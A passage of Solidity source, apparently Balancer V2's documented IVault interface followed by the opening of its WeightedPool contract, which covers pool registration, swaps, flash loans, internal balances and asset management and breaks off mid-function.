0xf33A6B68D2f6ae0353746C150757E4c494e02366 | // SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma experimental ABIEncoderV2;
import "../../lib/openzeppelin/IERC20.sol";
import "./IWETH.sol";
import "./IAsset.sol";
import "./IAuthorizer.sol";
import "./IFlashLoanRecipient.sol";
import "../ProtocolFeesCollector.sol";
import "../../lib/helpers/ISignaturesValidator.sol";
import "../../lib/helpers/ITemporarilyPausable.sol";
pragma solidity ^0.7.0;
/**
* @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that
* don't override one of these declarations.
*/
interface IVault is ISignaturesValidator, ITemporarilyPausable {
// Generalities about the Vault:
//
// - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are
// transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling
// `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by
// calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning
// a boolean value: in these scenarios, a non-reverting call is assumed to be successful.
//
// - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g.
// while execution control is transferred to a token contract during a swap) will result in a revert. View
// functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results.
// Contracts calling view functions in the Vault must make sure the Vault has not already been entered.
//
// - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools.
// Authorizer
//
// Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists
// outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller
// can perform a given action.
/**
* @dev Returns the Vault's Authorizer.
*/
function getAuthorizer() external view returns (IAuthorizer);
/**
* @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this.
*
* Emits an `AuthorizerChanged` event.
*/
function setAuthorizer(IAuthorizer newAuthorizer) external;
/**
* @dev Emitted when a new authorizer is set by `setAuthorizer`.
*/
event AuthorizerChanged(IAuthorizer indexed newAuthorizer);
// Relayers
//
// Additionally, it is possible for an account to perform certain actions on behalf of another one, using their
// Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions,
// and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield
// this power, two things must occur:
// - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This
// means that Balancer governance must approve each individual contract to act as a relayer for the intended
// functions.
// - Each user must approve the relayer to act on their behalf.
// This double protection means users cannot be tricked into approving malicious relayers (because they will not
// have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised
// Authorizer or governance drain user funds, since they would also need to be approved by each individual user.
/**
* @dev Returns true if `user` has approved `relayer` to act as a relayer for them.
*/
function hasApprovedRelayer(address user, address relayer) external view returns (bool);
/**
* @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise.
*
* Emits a `RelayerApprovalChanged` event.
*/
function setRelayerApproval(
address sender,
address relayer,
bool approved
) external;
/**
* @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`.
*/
event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved);
// Internal Balance
//
// Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later
// transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination
// when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced
// gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users.
//
// Internal Balance management features batching, which means a single contract call can be used to perform multiple
// operations of different kinds, with different senders and recipients, at once.
/**
* @dev Returns `user`'s Internal Balance for a set of tokens.
*/
function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory);
/**
* @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer)
* and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as
* it lets integrators reuse a user's Vault allowance.
*
* For each operation, if the caller is not `sender`, it must be an authorized relayer for them.
*/
function manageUserBalance(UserBalanceOp[] memory ops) external payable;
/**
* @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received
without manual WETH wrapping or unwrapping.
*/
struct UserBalanceOp {
UserBalanceOpKind kind;
IAsset asset;
uint256 amount;
address sender;
address payable recipient;
}
// There are four possible operations in `manageUserBalance`:
//
// - DEPOSIT_INTERNAL
// Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding
// `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`.
//
// ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped
// and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is
// relevant for relayers).
//
// Emits an `InternalBalanceChanged` event.
//
//
// - WITHDRAW_INTERNAL
// Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`.
//
// ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send
// it to the recipient as ETH.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_INTERNAL
// Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_EXTERNAL
// Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by
// relayers, as it lets them reuse a user's Vault allowance.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `ExternalBalanceTransfer` event.
enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL }
/**
* @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through
* interacting with Pools using Internal Balance.
*
* Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH
* address.
*/
event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta);
/**
* @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account.
*/
event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount);
// Pools
//
// There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced
// functionality:
//
// - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the
// balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads),
// which increase with the number of registered tokens.
//
// - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the
// balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted
// constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are
// independent of the number of registered tokens.
//
// - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like
// minimal swap info Pools, these are called via IMinimalSwapInfoPool.
enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN }
/**
* @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which
* is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be
* changed.
*
* The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`,
* depending on the chosen specialization setting. This contract is known as the Pool's contract.
*
* Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words,
* multiple Pools may share the same contract.
*
* Emits a `PoolRegistered` event.
*/
function registerPool(PoolSpecialization specialization) external returns (bytes32);
/**
* @dev Emitted when a Pool is registered by calling `registerPool`.
*/
event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization);
/**
* @dev Returns a Pool's contract address and specialization setting.
*/
function getPool(bytes32 poolId) external view returns (address, PoolSpecialization);
/**
* @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens,
* exit by receiving registered tokens, and can only swap registered tokens.
*
* Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length
* of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in
* ascending order.
*
* The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset
* Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`,
* depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore
* expected to be highly secured smart contracts with sound design principles, and the decision to register an
* Asset Manager should not be made lightly.
*
* Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset
* Manager is set, it cannot be changed except by deregistering the associated token and registering again with a
* different Asset Manager.
*
* Emits a `TokensRegistered` event.
*/
function registerTokens(
bytes32 poolId,
IERC20[] memory tokens,
address[] memory assetManagers
) external;
/**
* @dev Emitted when a Pool registers tokens by calling `registerTokens`.
*/
event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers);
/**
* @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total
* balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens
* must be deregistered in the same `deregisterTokens` call.
*
* A deregistered token can be re-registered later on, possibly with a different Asset Manager.
*
* Emits a `TokensDeregistered` event.
*/
function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external;
/**
* @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`.
*/
event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens);
/**
* @dev Returns detailed information for a Pool's registered token.
*
* `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens
* withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token`
* equals the sum of `cash` and `managed`.
*
* Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`,
* `managed` or `total` balance to be greater than 2^112 - 1.
*
* `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a
* join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for
* example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a
* change for this purpose, and will update `lastChangeBlock`.
*
* `assetManager` is the Pool's token Asset Manager.
*/
function getPoolTokenInfo(bytes32 poolId, IERC20 token)
external
view
returns (
uint256 cash,
uint256 managed,
uint256 lastChangeBlock,
address assetManager
);
/**
* @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of
* the tokens' `balances` changed.
*
* The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all
* Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order.
*
* If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same
* order as passed to `registerTokens`.
*
* Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are
* the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo`
* instead.
*/
function getPoolTokens(bytes32 poolId)
external
view
returns (
IERC20[] memory tokens,
uint256[] memory balances,
uint256 lastChangeBlock
);
/**
* @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will
* trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized
* Pool shares.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount
* to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces
* these maximums.
*
* If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable
* this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the
* WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent
* back to the caller (not the sender, which is important for relayers).
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be
* sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final
* `assets` array might not be sorted. Pools with no registered tokens cannot be joined.
*
* If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only
* be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be
* withdrawn from Internal Balance: attempting to do so will trigger a revert.
*
* This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed
* directly to the Pool's contract, as is `recipient`.
*
* Emits a `PoolBalanceChanged` event.
*/
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable;
struct JoinPoolRequest {
IAsset[] assets;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}
/**
* @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will
* trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized
* Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see
* `getPoolTokenInfo`).
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum
* token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault:
* it just enforces these minimums.
*
* If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To
* enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead
* of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit.
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must
* be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the
* final `assets` array might not be sorted. Pools with no registered tokens cannot be exited.
*
* If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise,
* an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to
* do so will trigger a revert.
*
* `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the
* `tokens` array. This array must match the Pool's registered tokens.
*
* This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and
* passed directly to the Pool's contract.
*
* Emits a `PoolBalanceChanged` event.
*/
function exitPool(
bytes32 poolId,
address sender,
address payable recipient,
ExitPoolRequest memory request
) external;
struct ExitPoolRequest {
IAsset[] assets;
uint256[] minAmountsOut;
bytes userData;
bool toInternalBalance;
}
/**
* @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively.
*/
event PoolBalanceChanged(
bytes32 indexed poolId,
address indexed liquidityProvider,
IERC20[] tokens,
int256[] deltas,
uint256[] protocolFeeAmounts
);
enum PoolBalanceChangeKind { JOIN, EXIT }
// Swaps
//
// Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this,
// they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be
// aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote.
//
// The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence.
// In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'),
// and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out').
// More complex swaps, such as one token in to multiple tokens out can be achieved by batching together
// individual swaps.
//
// There are two swap kinds:
// - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the
// `onSwap` hook) the amount of tokens out (to send to the recipient).
// - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines
// (via the `onSwap` hook) the amount of tokens in (to receive from the sender).
//
// Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with
// the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated
// tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended
// swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at
// the final intended token.
//
// In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal
// Balance) after all individual swaps have been completed, and the net token balance change computed. This makes
// certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost
// much less gas than they would otherwise.
//
// It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple
// Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only
// updating the Pool's internal accounting).
//
// To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token
// involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the
// minimum amount of tokens to receive (by passing a negative value) is specified.
//
// Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after
// this point in time (e.g. if the transaction failed to be included in a block promptly).
//
// If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do
// the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be
// passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the
// same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers).
//
// Finally, Internal Balance can be used when either sending or receiving tokens.
enum SwapKind { GIVEN_IN, GIVEN_OUT }
/**
* @dev Performs a swap with a single Pool.
*
* If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens
* taken from the Pool, which must be greater than or equal to `limit`.
*
* If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens
* sent to the Pool, which must be less than or equal to `limit`.
*
* Internal Balance usage and the recipient are determined by the `funds` struct.
*
* Emits a `Swap` event.
*/
function swap(
SingleSwap memory singleSwap,
FundManagement memory funds,
uint256 limit,
uint256 deadline
) external payable returns (uint256);
/**
* @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on
* the `kind` value.
*
* `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address).
* Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct SingleSwap {
bytes32 poolId;
SwapKind kind;
IAsset assetIn;
IAsset assetOut;
uint256 amount;
bytes userData;
}
/**
* @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either
* the amount of tokens sent to or received from the Pool, depending on the `kind` value.
*
* Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the
* Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at
* the same index in the `assets` array.
*
* Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a
* Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or
* `amountOut` depending on the swap kind.
*
* Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out
* of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal
* the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`.
*
* The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses,
* or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and
* out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to
* or unwrapped from WETH by the Vault.
*
* Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies
* the minimum or maximum amount of each token the vault is allowed to transfer.
*
* `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the
* equivalent `swap` call.
*
* Emits `Swap` events.
*/
function batchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds,
int256[] memory limits,
uint256 deadline
) external payable returns (int256[] memory);
/**
* @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the
* `assets` array passed to that function, and ETH assets are converted to WETH.
*
* If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out
* from the previous swap, depending on the swap kind.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct BatchSwapStep {
bytes32 poolId;
uint256 assetInIndex;
uint256 assetOutIndex;
uint256 amount;
bytes userData;
}
/**
* @dev Emitted for each individual swap performed by `swap` or `batchSwap`.
*/
event Swap(
bytes32 indexed poolId,
IERC20 indexed tokenIn,
IERC20 indexed tokenOut,
uint256 amountIn,
uint256 amountOut
);
/**
* @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the
* `recipient` account.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20
* transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender`
* must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of
* `joinPool`.
*
* If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of
* transferred. This matches the behavior of `exitPool`.
*
* Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a
* revert.
*/
struct FundManagement {
address sender;
bool fromInternalBalance;
address payable recipient;
bool toInternalBalance;
}
/**
* @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be
* simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result.
*
* Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH)
* the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it
* receives are the same that an equivalent `batchSwap` call would receive.
*
* Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct.
* This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens,
* approve them for the Vault, or even know a user's address.
*
* Note that this function is not 'view' (due to implementation details): the client code must explicitly execute
* eth_call instead of eth_sendTransaction.
*/
function queryBatchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds
) external returns (int256[] memory assetDeltas);
// Flash Loans
/**
* @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it,
* and then reverting unless the tokens plus a proportional protocol fee have been returned.
*
* The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount
* for each token contract. `tokens` must be sorted in ascending order.
*
* The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the
* `receiveFlashLoan` call.
*
* Emits `FlashLoan` events.
*/
function flashLoan(
IFlashLoanRecipient recipient,
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
/**
* @dev Emitted for each individual flash loan performed by `flashLoan`.
*/
event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount);
// Asset Management
//
// Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's
// tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see
// `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly
// controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the
// prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore
// not constrained to the tokens they are managing, but extends to the entire Pool's holdings.
//
// However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit,
// for example by lending unused tokens out for interest, or using them to participate in voting protocols.
//
// This concept is unrelated to the IAsset interface.
/**
* @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates.
*
* Pool Balance management features batching, which means a single contract call can be used to perform multiple
* operations of different kinds, with different Pools and tokens, at once.
*
* For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`.
*/
function managePoolBalance(PoolBalanceOp[] memory ops) external;
struct PoolBalanceOp {
PoolBalanceOpKind kind;
bytes32 poolId;
IERC20 token;
uint256 amount;
}
/**
* Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged.
*
* Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged.
*
* Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total.
* The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss).
*/
enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE }
/**
* @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`.
*/
event PoolBalanceManaged(
bytes32 indexed poolId,
address indexed assetManager,
IERC20 indexed token,
int256 cashDelta,
int256 managedDelta
);
// Protocol Fees
//
// Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by
// permissioned accounts.
//
// There are two kinds of protocol fees:
//
// - flash loan fees: charged on all flash loans, as a percentage of the amounts lent.
//
// - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including
// swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather,
// Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the
// Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as
// exiting a Pool in debt without first paying their share.
/**
* @dev Returns the current protocol fee module.
*/
function getProtocolFeesCollector() external view returns (ProtocolFeesCollector);
/**
* @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an
* error in some part of the system.
*
* The Vault can only be paused during an initial time period, after which pausing is forever disabled.
*
* While the contract is paused, the following features are disabled:
* - depositing and transferring internal balance
* - transferring external balance (using the Vault's allowance)
* - swaps
* - joining Pools
* - Asset Manager interactions
*
* Internal Balance can still be withdrawn, and Pools exited.
*/
function setPaused(bool paused) external;
/**
* @dev Returns the Vault's WETH instance.
*/
function WETH() external view returns (IWETH);
// solhint-disable-previous-line func-name-mixedcase
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../../lib/math/FixedPoint.sol";
import "../../lib/helpers/InputHelpers.sol";
import "../BaseMinimalSwapInfoPool.sol";
import "./WeightedMath.sol";
import "./WeightedPoolUserDataHelpers.sol";
// This contract relies on tons of immutable state variables to perform efficient lookup, without resorting to storage
// reads. Because immutable arrays are not supported, we instead declare a fixed set of state variables plus total
// count, resulting in a large number of state variables.
contract WeightedPool is BaseMinimalSwapInfoPool, WeightedMath {
using FixedPoint for uint256;
using WeightedPoolUserDataHelpers for bytes;
// The protocol fees will always be charged using the token associated with the max weight in the pool.
// Since these Pools will register tokens only once, we can assume this index will be constant.
uint256 private immutable _maxWeightTokenIndex;
uint256 private immutable _normalizedWeight0;
uint256 private immutable _normalizedWeight1;
uint256 private immutable _normalizedWeight2;
uint256 private immutable _normalizedWeight3;
uint256 private immutable _normalizedWeight4;
uint256 private immutable _normalizedWeight5;
uint256 private immutable _normalizedWeight6;
uint256 private immutable _normalizedWeight7;
uint256 private _lastInvariant;
enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT }
enum ExitKind { EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, EXACT_BPT_IN_FOR_TOKENS_OUT, BPT_IN_FOR_EXACT_TOKENS_OUT }
constructor(
IVault vault,
string memory name,
string memory symbol,
IERC20[] memory tokens,
uint256[] memory normalizedWeights,
uint256 swapFeePercentage,
uint256 pauseWindowDuration,
uint256 bufferPeriodDuration,
address owner
)
BaseMinimalSwapInfoPool(
vault,
name,
symbol,
tokens,
swapFeePercentage,
pauseWindowDuration,
bufferPeriodDuration,
owner
)
{
uint256 numTokens = tokens.length;
InputHelpers.ensureInputLengthMatch(numTokens, normalizedWeights.length);
// Ensure each normalized weight is above them minimum and find the token index of the maximum weight
uint256 normalizedSum = 0;
uint256 maxWeightTokenIndex = 0;
uint256 maxNormalizedWeight = 0;
for (uint8 i = 0; i < numTokens; i++) {
uint256 normalizedWeight = normalizedWeights[i];
_require(normalizedWeight >= _MIN_WEIGHT, Errors.MIN_WEIGHT);
normalizedSum = normalizedSum.add(normalizedWeight);
if (normalizedWeight > maxNormalizedWeight) {
maxWeightTokenIndex = i;
maxNormalizedWeight = normalizedWeight;
}
}
// Ensure that the normalized weights sum to ONE
_require(normalizedSum == FixedPoint.ONE, Errors.NORMALIZED_WEIGHT_INVARIANT);
_maxWeightTokenIndex = maxWeightTokenIndex;
_normalizedWeight0 = normalizedWeights.length > 0 ? normalizedWeights[0] : 0;
_normalizedWeight1 = normalizedWeights.length > 1 ? normalizedWeights[1] : 0;
_normalizedWeight2 = normalizedWeights.length > 2 ? normalizedWeights[2] : 0;
_normalizedWeight3 = normalizedWeights.length > 3 ? normalizedWeights[3] : 0;
_normalizedWeight4 = normalizedWeights.length > 4 ? normalizedWeights[4] : 0;
_normalizedWeight5 = normalizedWeights.length > 5 ? normalizedWeights[5] : 0;
_normalizedWeight6 = normalizedWeights.length > 6 ? normalizedWeights[6] : 0;
_normalizedWeight7 = normalizedWeights.length > 7 ? normalizedWeights[7] : 0;
}
function _normalizedWeight(IERC20 token) internal view virtual returns (uint256) {
// prettier-ignore
if (token == _token0) { return _normalizedWeight0; }
else if (token == _token1) { return _normalizedWeight1; }
else if (token == _token2) { return _normalizedWeight2; }
else if (token == _token3) { return _normalizedWeight3; }
else if (token == _token4) { return _normalizedWeight4; }
